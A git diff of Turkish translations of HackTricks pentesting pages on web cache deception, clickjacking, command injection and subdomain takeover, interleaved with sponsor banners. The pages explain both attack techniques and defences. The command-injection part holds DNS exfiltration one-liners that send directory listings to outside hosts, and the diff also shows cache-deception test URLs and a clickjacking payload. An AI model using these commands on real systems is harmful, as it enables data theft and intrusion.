Önbellek Aldatmacasının amacı, istemcilerin **önbellekte saklanacak kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde saklanan **hassas** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde saklanan **hassas** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
Test edilecek diğer şeyler:
@ -216,13 +216,13 @@ Test edilecek diğer şeyler:
* _www.example.com/profile.php/%2e%2e/test.js_
* _`.avif` gibi daha az bilinen uzantıları kullanın_
Bu konuda çok net bir örnek şu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php/_ içeriği (**kullanıcının hassas bilgileriyle**) geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\
Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
Bu yazıda çok net bir örnek bulabilirsiniz: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Bu örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php/_ içeriği (**kullanıcının hassas bilgileriyle**) geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
Önbellek ajanının dosyaları **uzantıya** göre değil, dosyanın içerik türüne göre **önbelleğe alınacak şekilde yapılandırılması gerektiğini** unutmayın (_.css_). Örnekte _http://www.example.com/home.php/non-existent.css_ bir `text/html` içerik türüne sahip olacak ve beklenen _.css_ dosyası için bir `text/css` mime türü olmayacaktır.
Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **yapılandırılması gerektiğini** unutmayın (_.css_). Örneğin, _http://www.example.com/home.php/non-existent.css_ önbelleğe alınmış bir 400 Hatalı İstek hatası sonucu vermesi gereken bir `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (beklenen _.css_ dosyası için).
[HTTP İsteği Kaçırarak Web Önbellek Aldatmaları saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
[HTTP İstek Kaçırma](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) kullanarak[ Önbellek Aldatmacası saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin.
## Otomatik Araçlar
* [**toxicache**](https://github.com/xhzeem/toxicache): Belirli URL'lerde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
@ -239,21 +239,21 @@ Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.p
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -17,22 +17,24 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca yapın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## Clickjacking Nedir
Clickjacking saldırısında, bir **kullanıcı** ya **görünmez** ya da farklı bir öğe olarak **kamuflaj yapmış** bir web sayfasındaki bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması.
Clickjacking saldırısında, bir **kullanıcı** bir web sayfasındaki **görünmez** veya farklı bir öğe olarak **kamuflaj yapmış** bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması.
### Formları Önceden Doldurma Hilesi
Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeye basmasını sağlamak için clickjacking yükünü gönderebilir.
### Formu Sürükle ve Bırak ile Doldurma
### Drag\&Drop ile Formu Doldurma
Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, örneğin [**bu örnekte**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **sürükleyip bırakmasını** isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Temel Yük
```markup
<style>
iframe {
@ -107,10 +109,10 @@ background: #F00;
```
### XSS + Clickjacking
Eğer bir kullanıcının **XSS saldırısını tetiklemek için bir öğeye tıklaması gereken** bir saldırı tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasız** ise, kullanıcıyı düğmeye/linke tıklamaya kandırmak için bunu kötüye kullanabilirsiniz.\
Eğer bir **XSS saldırısı tespit ettiniz ve bu saldırının tetiklenmesi için bir kullanıcının tıklaması gerekiyorsa** ve sayfa **clickjacking'e karşı savunmasız** ise, bunu kullanarak kullanıcıyı düğmeye/linke tıklamaya kandırabilirsiniz.\
Örnek:\
_Bir hesabın bazı özel detaylarında **kendine XSS** buldunuz (detaylar **yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir**). Bu detayları ayarlamak için **form** olan sayfa **Clickjacking**'e karşı **savunmasız** ve GET parametreleri ile **formu önceden doldurabilirsiniz**._\
\_\_Bir saldırgan, **XSS yükü** ile **formu önceden doldurarak** kullanıcıyı **yanıltarak** bu sayfaya bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı formu göndermeye ikna edebilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'yi yürütecektir**.
_Bir hesabın bazı özel detaylarında bir **self XSS** buldunuz (detaylar **yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir**). Bu detayları ayarlamak için **form** içeren sayfa **Clickjacking**'e karşı savunmasız ve GET parametreleri ile **formu önceden doldurabilirsiniz**._\
\_\_Bir saldırgan, o sayfaya **Clickjacking** saldırısı hazırlayabilir, **formu XSS yüküyle önceden doldurarak** ve **kullanıcıyı formu göndermeye kandırarak**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
## Clickjacking'i Azaltma Stratejileri
@ -118,10 +120,10 @@ _Bir hesabın bazı özel detaylarında **kendine XSS** buldunuz (detaylar **yal
İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:
* Uygulama penceresinin ana veya üst pencere olmasını sağlama.
* Tüm çerçeveleri görünür hale getirme.
* Görünmez çerçevelere tıklamayı engelleme.
* Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etme ve uyarılarda bulunma.
* Uygulama penceresinin ana veya üst pencere olmasını sağlamak.
* Tüm çerçeveleri görünür hale getirmek.
* Görünmez çerçevelere tıklamayı engellemek.
* Kullanıcıları potansiyel Clickjacking girişimleri konusunda tespit etmek ve uyarı vermek.
Ancak, bu çerçeve-kırma betikleri atlatılabilir:
@ -143,7 +145,7 @@ Ancak, bu çerçeve-kırma betikleri atlatılabilir:
#### İçerik Güvenlik Politikası (CSP) frame-ancestors direktifi
CSP'deki **`frame-ancestors` direktifi**, Clickjacking koruması için önerilen yöntemdir:
**CSP'deki `frame-ancestors` direktifi**, Clickjacking koruması için önerilen yöntemdir:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
@ -153,7 +155,7 @@ CSP'deki **`frame-ancestors` direktifi**, Clickjacking koruması için önerilen
`Content-Security-Policy: frame-ancestors 'self';`
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
Daha fazla ayrıntı ve karmaşık örnekler [frame-ancestors CSP belgelerinde](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerinde](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bulunabilir.
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
@ -175,25 +177,25 @@ Bu politika, aynı kökten gelen çerçevelere (self) ve https://trusted-website
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Bu politika, aynı kökten gelen çerçevelere ve işçilere (self) ve https://trusted-website.com'a izin verir.
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.
**Kullanım Notları:**
* Kullanım Dışı: child-src, frame-src ve worker-src lehine kademeli olarak kaldırılmaktadır.
* Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
* Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynaklar ekleyin.
* Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.
#### JavaScript Çerçeve-Kırma Betikleri
#### JavaScript Çerçeve-Kırma Komut Dosyaları
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma betikleri, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Anti-CSRF Tokenları Kullanma
#### Anti-CSRF Tokenlarını Kullanma
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenları kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenlarını kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
## Referanslar
@ -203,21 +205,21 @@ top.location = self.location;
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,24 +2,24 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
- **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** bir platform olan **Trickest**'i kullanın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Komut Enjeksiyonu Nedir?
@ -114,6 +114,11 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS tabanlı veri sızdırma için kontrol etmek için çevrimiçi araçlar:
* dnsbin.zhack.ca
* pingb.in
### Filtreleme atlatma
#### Windows
@ -127,7 +132,7 @@ powershell C:**2\n??e*d.*? # notepad
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
## Brute-Force Tespit Listesi
## Kaba Kuvvet Tespiti Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
@ -138,14 +143,14 @@ powershell C:**2\n??e*d.*? # notepad
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>Sıfırdan Kahraman Olarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -153,7 +158,7 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

View file

@ -2,31 +2,31 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**]'da takip edin (https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) katkıda bulunun.
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**]'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
## Alan ele geçirme
Eğer **kullanılan bir hizmete sahip bir alan (domain.tld)** keşfederseniz ama **şirket** bunun **sahipliğini kaybetmişse**, bunu **kaydedip** şirkete bildirebilirsiniz (eğer yeterince ucuzsa). Bu alan, **GET** parametresi aracılığıyla bir oturum çerezi gibi **duyarlı bilgiler** alıyorsa veya **Referer** başlığında ise, bu kesinlikle bir **zafiyet**tir.
Eğer **kapsam içinde bazı hizmetler tarafından kullanılan bir alan (alan.tld)** keşfederseniz ancak **şirket** bunun **sahipliğini kaybetmişse**, bu alanı **kaydetmeye** ve şirkete bildirmeye çalışabilirsiniz. Bu alan, **GET** parametresi aracılığıyla bir oturum çerezi veya **Referer** başlığında hassas bilgiler alıyorsa, bu kesinlikle bir **zafiyettir**.
### Alt alan ele geçirme
### Alt Alan ele geçirme
Şirketin bir alt alanı, **kayıtlı olmayan bir isimle üçüncü taraf bir hizmete işaret ediyor**. Bu **üçüncü taraf hizmetinde bir hesap oluşturabilir** ve kullanımda olan **isim**i **kaydedebilirseniz**, alt alan ele geçirme işlemini gerçekleştirebilirsiniz.
@ -45,25 +45,25 @@ Muhtemel ele geçirmeleri kontrol etmek için sözlüklerle birçok araç bulunm
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
* [https://github.com/PentestPad/subzy](https://github.com/PentestPad/subzy)
[BBOT ile Hijackable Alt Alanları Tarayın](https://github.com/blacklanternsecurity/bbot):
[BBOT ile Hijackable Alt Alanları Tarama](https://github.com/blacklanternsecurity/bbot):
